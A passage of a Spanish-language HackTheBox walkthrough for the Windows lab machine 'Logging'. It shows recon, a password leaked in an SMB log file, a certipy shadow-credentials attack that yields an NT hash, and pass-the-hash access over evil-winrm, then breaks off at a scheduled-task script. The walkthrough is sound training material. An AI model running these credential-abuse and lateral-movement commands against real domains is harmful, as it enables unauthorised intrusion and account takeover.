This page looks best with JavaScript enabled

HackTheBox - Logging

 •  ✍️ sckull
featured image

Logging expone archivos de log en el servicio de samba donde se descubrieron credenciales. Esto ultimo y el analisis de Bloodhound permitio acceso por WinRM. Se encontro una tarea programada para un ejecutable que busca actualizaciones y la ejecucion de una funcion en un archivo dll. Se creo una nueva actualizacion con una shell inversa para lograr el acceso a un nuevo usuario. Finalmente se realizo la explotacion de WSUS para escalar privilegios.

Nombre Logging
OS

Windows

Puntos 30
Dificultad Medium
Fecha de Salida 2026-04-18
IP 10.129.23.212
Maker

LazyTitan33

Rated 
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [40, 9, 53, 127, 366, 304, 330, 161, 70, 98],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Machine Information: Certified

La descripcion de la maquina emula una situacion “real” de un pentest proporcionando credenciales.

As is common in real life pentests, you will start the Logging box with credentials for the following account wallace.everette / Welcome2026@

Recon

nmap

nmap muestra multiples puertos abiertos: dns (53), http (80, 8531), ntp (123/udp), kerberos (88), ldap (389), smb (445), winrm (5985).

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123

# Nmap 7.95 scan initiated Tue Apr 21 20:45:19 2026 as: /usr/lib/nmap/nmap --privileged -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,8530,8531,9389,47001,49664,49665,49666,49667,49671,49686,49687,49688,49689,49702,49720,49746,49776 -sV -sC -oN nmap_scan 10.129.31.217
Nmap scan report for 10.129.31.217
Host is up (0.26s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD-TCP: 
|     _services
|     _dns-sd
|     _udp
|_    local
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-22 09:49:17Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-04-22T09:50:30+00:00; +7h03m49s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-22T09:50:31+00:00; +7h03m49s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-04-22T09:50:30+00:00; +7h03m49s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after:  2106-04-17T03:20:01
|_ssl-date: 2026-04-22T09:50:31+00:00; +7h03m49s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8530/tcp  open  http          Microsoft IIS httpd 10.0
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
8531/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2026-04-22T09:50:31+00:00; +7h03m49s from scanner time.
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: commonName=DC01.logging.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.logging.htb
| Not valid before: 2026-04-16T15:12:07
|_Not valid after:  2027-04-16T15:12:07
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
49688/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
49720/tcp open  msrpc         Microsoft Windows RPC
49746/tcp open  msrpc         Microsoft Windows RPC
49776/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=4/21%Time=69E83656%P=x86_64-pc-linux-gnu%r(DNS-
SF:SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04
SF:_udp\x05local\0\0\x0c\0\x01");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-22T09:50:23
|_  start_date: N/A
|_clock-skew: mean: 7h03m49s, deviation: 0s, median: 7h03m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 21 20:46:43 2026 -- 1 IP address (1 host up) scanned in 83.47 seconds

# Nmap 7.95 scan initiated Tue Apr 21 20:45:00 2026 as: /usr/lib/nmap/nmap -sU -sVC --min-rate 10000 -oN nmap_scan_udp 10.129.31.217
Nmap scan report for 10.129.31.217
Host is up (0.26s latency).
Not shown: 994 open|filtered udp ports (no-response)
PORT      STATE  SERVICE      VERSION
53/udp    open   domain       Simple DNS Plus
|_dns-recursion: Recursion appears to be enabled
88/udp    open   kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-22 09:48:51Z)
123/udp   open   ntp          NTP v3
| ntp-info: 
|_  
389/udp   open   ldap         Microsoft Windows Active Directory LDAP (Domain: logging.htb0., Site: Default-First-Site-Name)
17663/udp closed unknown
38293/udp closed landesk-cba
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h04m01s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 21 21:11:31 2026 -- 1 IP address (1 host up) scanned in 1591.00 seconds

Agregamos logging.htb y dc01.logging.htb a /etc/hosts.

Service Access

Las credenciales tienen acceso por los servicio smb y ldap.

1
2
3
4
5
6
7

❯ nxc smb logging.htb -u wallace.everette -p 'Welcome2026@'
SMB         10.129.31.217   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.31.217   445    DC01             [+] logging.htb\wallace.everette:Welcome2026@ 
❯ nxc ldap logging.htb -u wallace.everette -p 'Welcome2026@'
LDAP        10.129.31.217   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.31.217   389    DC01             [+] logging.htb\wallace.everette:Welcome2026@ 
❯

Generamos un archivo de configuracion para kerberos.

1
2
3
4
5
6

❯ nxc smb logging.htb -u wallace.everette -p 'Welcome2026@' --generate-krb5-file krb.conf
SMB         10.129.31.217   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.31.217   445    DC01             [+] krb5 conf saved to: krb.conf
SMB         10.129.31.217   445    DC01             [+] Run the following command to use the conf file: export KRB5_CONFIG=krb.conf
SMB         10.129.31.217   445    DC01             [+] logging.htb\wallace.everette:Welcome2026@ 
❯

SMB

En smb encontramos el recurso compartido Logs donde tenemos permisos de lectura.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

❯ nxc smb logging.htb -u wallace.everette -p 'Welcome2026@' --shares
SMB         10.129.31.217   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.31.217   445    DC01             [+] logging.htb\wallace.everette:Welcome2026@ 
SMB         10.129.31.217   445    DC01             [*] Enumerated shares
SMB         10.129.31.217   445    DC01             Share           Permissions     Remark
SMB         10.129.31.217   445    DC01             -----           -----------     ------
SMB         10.129.31.217   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.31.217   445    DC01             C$                              Default share
SMB         10.129.31.217   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.31.217   445    DC01             Logs            READ            
SMB         10.129.31.217   445    DC01             NETLOGON        READ            Logon server share 
SMB         10.129.31.217   445    DC01             SYSVOL          READ            Logon server share 
SMB         10.129.31.217   445    DC01             WSUSTemp                        A network share used by Local Publishing from a Remote WSUS Console Instance.
❯

En Logs/ encontramos multiples archivos .log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

❯ smbclient //logging.htb/Logs -U 'wallace.everette%Welcome2026@'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 16 17:10:09 2026
  ..                                  D        0  Thu Apr 16 17:10:09 2026
  Audit_Heartbeat.log                 A     1294  Thu Apr 16 17:10:09 2026
  IdentitySync_Trace_20260219.log      A     8488  Thu Apr 16 17:10:09 2026
  Service_State.log                   A      468  Thu Apr 16 17:10:09 2026
  TaskMonitor.log                     A     1170  Thu Apr 16 17:10:09 2026

		6657279 blocks of size 4096. 1029391 blocks available
smb: \>

Logs

Los archivos muestran logs de diferentes procesos/servicios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

❯ ll
.rw-r--r-- kali kali 1.3 KB Tue Apr 21 21:35:13 2026  Audit_Heartbeat.log
.rw-r--r-- kali kali 8.3 KB Tue Apr 21 21:35:15 2026  IdentitySync_Trace_20260219.log
.rw-r--r-- kali kali 468 B  Tue Apr 21 21:35:17 2026  Service_State.log
.rw-r--r-- kali kali 1.1 KB Tue Apr 21 21:35:19 2026  TaskMonitor.log
❯ head -n 5 Audit_Heartbeat.log
[2026-02-19 00:00:01] HEARTBEAT - Service status: OK
[2026-02-19 01:00:01] HEARTBEAT - Service status: OK
[2026-02-19 02:00:01] HEARTBEAT - Service status: OK
[2026-02-19 03:00:01] HEARTBEAT - Service status: OK
[2026-02-20 00:00:01] HEARTBEAT - Service status: OK
❯ head -n 5 IdentitySync_Trace_20260219.log
[2026-02-19 03:05:00.005] [PID:4102] [Thread:01] INFO  - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
[2026-02-19 03:05:01.210] [PID:4102] [Thread:14] TRACE - Threadpool: 4 active, 0 queued.
[2026-02-19 03:10:00.005] [PID:4102] [Thread:01] INFO  - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
[2026-02-19 03:15:00.448] [PID:4102] [Thread:01] INFO  - Scheduling next sync task for 2026-02-19 06:00:00...
[2026-02-19 03:05:00.005] [PID:4102] [Thread:01] INFO  - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
❯ head -n 5 Service_State.log
[2026-02-18 06:00:00] [SYSTEM] Service 'IdentitySync' received START command.
[2026-02-18 06:00:02] [SYSTEM] Service 'IdentitySync' entered RUNNING state.
[2026-02-19 06:00:00] [SYSTEM] Service 'IdentitySync' received STOP command.
[2026-02-19 06:00:05] [SYSTEM] Service 'IdentitySync' entered STOPPED state.
[2026-02-19 06:01:00] [SYSTEM] Service 'IdentitySync' received START command.
❯ head -n 5 TaskMonitor.log
[2026-02-20 09:56:48] INFO  - Task [UpdateChecker Agent] health check: OK (State: Ready)
[2026-02-20 09:56:56] INFO  - Task [UpdateChecker Agent] health check: OK (State: Ready)
[2026-02-20 09:57:24] INFO  - Task [UpdateChecker Agent] health check: OK (State: Ready)
[2026-02-20 10:01:12] INFO  - Task [UpdateChecker Agent] health check: OK (State: Ready)
[2026-02-20 10:02:44] INFO  - Task [UpdateChecker Agent] health check: OK (State: Ready)
❯

El archivo IdentitySync_Trace_20260219.log muestra informacion de lo que parece un servicio: logging.IdentitySync.Engine.Internal (v2.4.2.0). Ademas, una “conexion SQL” hacia HR01.logging.htb con credenciales: LOGGING\svc_recovery: Em3rg3ncyPa$$2025. Se muestra tambien que se genero una alerta para it-alerts@logging.htb, esto podria indicar algun servicio SMTP local.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

❯ cat IdentitySync_Trace_20260219.log
[2026-02-19 03:05:00.005] [PID:4102] [Thread:01] INFO  - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
# ... skip ...
[2026-02-19 02:45:00.112] [PID:1024] [Thread:01] INFO  - Maintenance: Rotating log files for 'IdentitySync'...
[2026-02-19 02:50:00.005] [PID:4102] [Thread:01] INFO  - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
[2026-02-09 02:55:00.822] [PID:4102] [Thread:01] DEBUG - Integrity check: All module hashes verified (SHA256).
[2026-02-09 03:00:01.442] [PID:4102] [Thread:12] INFO  - Service: logging.IdentitySync.Engine.Internal (v2.4.2.0)
[2026-02-09 03:00:01.458] [PID:4102] [Thread:12] DEBUG - Environment: OS=Microsoft Windows Server 2019, CoreCount=4, Mem=16GB
[2026-02-09 03:00:01.470] [PID:4102] [Thread:12] INFO  - Initializing module [HR-Connector]...
[2026-02-09 03:00:02.215] [PID:4102] [Thread:12] INFO  - Establishing SQL session with HR01.logging.htb...
[2026-02-09 03:00:02.890] [PID:4102] [Thread:08] TRACE - Querying [loggingHR].[dbo].[Employees] where SyncStatus = 0
[2026-02-09 03:00:03.012] [PID:4102] [Thread:08] INFO  - SQL Session verified. Synchronizing 14 records (BatchID: 88AF-01).
[2026-02-09 03:00:03.055] [PID:4102] [Thread:04] INFO  - Validating AD target health: DC01.logging.htb (Port 389)
[2026-02-09 03:00:03.110] [PID:4102] [Thread:04] TRACE - Initializing LdapConnection object...
[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3rg3ncyPa$$2025", Timeout: 30 }
[2026-02-19 03:00:03.488] [PID:4102] [Thread:04] ERROR - System.DirectoryServices.Protocols.LdapException: A local error occurred.
   at System.DirectoryServices.Protocols.LdapConnection.Bind(NetworkCredential credential)
   at logging.IdentitySync.Engine.LdapProvider.Connect()
   --- Server Error Details ---
   Server error: 8009030C: LdapErr: DSID-0C090569, comment: AcceptSecurityContext error, data 52e, v4563
   Hex Error: 0x31 (LDAP_INVALID_CREDENTIALS)
   Win32 Error: 49 (Invalid Credentials)
   ----------------------------
[2026-02-19 03:00:03.510] [PID:4102] [Thread:12] WARN  - Connectivity failed for logging\svc_recovery. Checking alternate Domain Controller...
[2026-02-09 03:00:03.650] [PID:4102] [Thread:12] CRITICAL - Domain-wide LDAP bind failure. Task aborted.
[2026-02-10 03:00:03.702] [PID:4102] [Thread:12] DEBUG - Generating SMTP alert for it-alerts@logging.htb
[2026-02-10 03:00:04.112] [PID:4102] [Thread:12] INFO  - Process exit code: 1. Cleaning up session buffers.
# ... skip ...
[2026-03-09 03:10:00.005] [PID:4102] [Thread:01] INFO  - Heartbeat: Service [IdentitySync.Engine] is RESPONSIVE.
❯

Creds - svc_recovery

Las credenciales fueron aceptadas mediante autenticacion Kerberos y con el cambio de año.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

❯ nxc ldap logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2025' -k
LDAP        logging.htb     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never) 
LDAP        logging.htb     389    DC01             [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 KDC_ERR_PREAUTH_FAILED
❯ nxc ldap logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k
LDAP        logging.htb     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never) 
LDAP        logging.htb     389    DC01             [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2026 KRB_AP_ERR_SKEW
❯ faketime "$(ntpdate -q logging.htb | cut -d ' ' -f 1,2)" nxc ldap logging.htb -u svc_recovery -p 'Em3rg3ncyPa$$2026' -k
LDAP        logging.htb     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never) 
LDAP        logging.htb     389    DC01             [+] logging.htb\svc_recovery:Em3rg3ncyPa$$2026 
❯

HTTP - Puerto 80

En el puerto 80 muestra el contenido del index de IIS por default.

image

Directory Brute Forcing

feroxbuster muestra algunas direcciones que no muestran contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

❯ feroxbuster -u http://logging.htb -w $CM -x asp,aspx,html
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://logging.htb/
 🚩  In-Scope Url          │ logging.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [asp, aspx, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET       40l      156w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      334l     2089w   180418c http://logging.htb/iisstart.png
200      GET       32l       55w      703c http://logging.htb/
301      GET        2l       10w      156c http://logging.htb/aspnet_client => http://logging.htb/aspnet_client/
301      GET        2l       10w      167c http://logging.htb/aspnet_client/system_web => http://logging.htb/aspnet_client/system_web/
[####################] - 3m     55404/55404   0s      found:4       errors:0      
[####################] - 2m     18456/18456   189/s   http://logging.htb/ 
[####################] - 2m     18456/18456   191/s   http://logging.htb/aspnet_client/ 
[####################] - 2m     18456/18456   189/s   http://logging.htb/aspnet_client/system_web/
❯

HTTP - Puerto 8070

En este puerto muestra contenido pero indica un servidor IIS.

1
2
3
4
5
6
7
8
9

❯ curl -s http://logging.htb:8530/
❯ curl -sI http://logging.htb:8530/
HTTP/1.1 200 OK
Content-Length: 0
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Wed, 22 Apr 2026 10:16:02 GMT

❯

Directory Brute Forcing

Como el puerto anterior, no muestra contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

❯ feroxbuster -u http://logging.htb:8530/ -w $CM -x asp,aspx,html
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://logging.htb:8530/
 🚩  In-Scope Url          │ logging.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [asp, aspx, html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET       40l      156w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        2l       10w      157c http://logging.htb:8530/inventory => http://logging.htb:8530/inventory/
[####################] - 2m     36920/36920   0s      found:1       errors:0      
[####################] - 2m     18456/18456   189/s   http://logging.htb:8530/ 
[####################] - 2m     18456/18456   191/s   http://logging.htb:8530/inventory/
❯

Bloodhound

Ejecutamos el collector de bloodhound de netexec y creamos wordlist para usuarios y computadoras.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

❯ nxc ldap logging.htb -u wallace.everette -p 'Welcome2026@' --bloodhound --collection All --dns-server 10.129.31.217
LDAP        10.129.31.217   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:logging.htb) (signing:None) (channel binding:Never) 
LDAP        10.129.31.217   389    DC01             [+] logging.htb\wallace.everette:Welcome2026@ 
LDAP        10.129.31.217   389    DC01             Resolved collection methods: acl, container, dcom, group, psremote, rdp, trusts, session, localadmin, objectprops
LDAP        10.129.31.217   389    DC01             Done in 0M 49S
LDAP        10.129.31.217   389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.129.31.217_2026-04-21_211709_bloodhound.zip
❯ unzip \*.zip \*_users.json
Archive:  DC01_10.129.31.217_2026-04-21_211709_bloodhound.zip
 extracting: DC01_10.129.31.217_2026-04-21_211709_2026-04-21_211711_users.json  
❯ jq -r '.data[].Properties.name' *users.json | tail -n +2 |  awk '{ print tolower($0) }' | cut -d '@' -f1 > users.txt
❯ unzip \*.zip \*_computers.json
Archive:  DC01_10.129.31.217_2026-04-21_211709_bloodhound.zip
 extracting: DC01_10.129.31.217_2026-04-21_211709_2026-04-21_211711_computers.json  
❯ jq -r '.data[].Properties.name' *computers.json |  awk '{ print tolower($0) }' | cut -d '.' -f1 > computers.txt
❯ wc -l users.txt
13 users.txt
❯ wc -l computers.txt
1 computers.txt
❯

Users

Existen once usuarios en el dominio.

image

svc_recovery

Este usuario es miembro del grupo Protected Users y Emergency Recovery. El primer grupo es el responsable de que este usuario sea forzado a utilizar autenticacion kerberos.

image

Ademas, tiene permisos GenericWrite sobre msa_health$.

image

msa_health

msa_health puede acceder a traves de WinRM a la maquina.

image

Jaylee Clifton

Jaylee es miembro de dos grupos donde es unico usuarioL Performance Log Users y IT.

image

Wellington Kylan

Es el unico miembro del grupo HR.

image

Administradores

Existen dos usuarios administradores en el dominio, entre ellos Toby.

image

User - msa_health

Con las credenciales para svc_recovery podemos obtener un ticket con impacket-getTGT.

1
2
3
4
5
6
7

❯ faketime "$(ntpdate -q logging.htb | cut -d ' ' -f 1,2)" impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2026'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_recovery.ccache
❯ 
❯ export KRB5CCNAME=svc_recovery.ccache
❯

GenericWrite

A traves de certipy ejecutamos un ataque shadow credential para obtener el hash del usuario msa_health abusando del permiso GenericWrite.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

❯ faketime "$(ntpdate -q logging.htb | cut -d ' ' -f 1,2)" certipy-ad shadow auto -account msa_health -no-pass -k -dc-ip 10.129.31.217 -dc-host dc01.logging.htb -ns 10.129.31.217
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] Target name (-target) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'aad5ce3b95fe4dc6b953bfa5d96effe7'
[*] Adding Key Credential with device ID 'aad5ce3b95fe4dc6b953bfa5d96effe7' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID 'aad5ce3b95fe4dc6b953bfa5d96effe7' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5
❯

Con el hash logramos acceso a traves de WinRM con evil-winrm.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

❯ evil-winrm -i logging.htb -u msa_health$ -H 603fc24ee01a9409f83c9d1d701485c5
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\msa_health$\Documents> whoami
logging\msa_health$
*Evil-WinRM* PS C:\Users\msa_health$\Documents>

Scheduled Task

Encontramos un script que verifica el estado de una tarea programada: UpdateChecker Agent. Vemos que tenemos permisos sobre este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

*Evil-WinRM* PS C:\Users\msa_health$\Documents> cat monitor.ps1
<#
.SYNOPSIS
    Monitors the status of the "UpdateChecker Agent" scheduled task.
    Uses COM interface to avoid CIM/WMI permission issues.
#>

$TaskName = "UpdateChecker Agent"
$LogPath = "C:\Share\Logs\TaskMonitor.log"
$Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"

try {
    $service = New-Object -ComObject "Schedule.Service"
    $service.Connect()
    $task = $service.GetFolder("\").GetTask($TaskName)

    $State = switch ($task.State) {
        1 { "Disabled" }
        2 { "Queued" }
        3 { "Ready" }
        4 { "Running" }
        5 { "Disabled" }
        6 { "Unknown" }
        default { "Unknown" }
    }

    if ($State -ne "Ready" -and $State -ne "Running") {
        $Message = "[$Timestamp] WARN  - Task [$TaskName] is in an unexpected state: $State"
    }
    else {
        $Message = "[$Timestamp] INFO  - Task [$TaskName] health check: OK (State: $State)"
    }
}
catch {
    $Message = "[$Timestamp] ERROR - Failed to query task [$TaskName]. Exception: $($_.Exception.Message)"
}

Add-Content -Path $LogPath -Value $Message
*Evil-WinRM* PS C:\Users\msa_health$\Documents> icacls monitor.ps1
monitor.ps1 NT AUTHORITY\SYSTEM:(F)
            BUILTIN\Administrators:(F)
            logging\msa_health$:(F)

Successfully processed 1 files; Failed processing 0 files
*Evil-WinRM* PS C:\Users\msa_health$\Documents>

Observamos que la tarea ejecuta UpdateMonitor.exe bajo el usuario jaylee.clifton.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

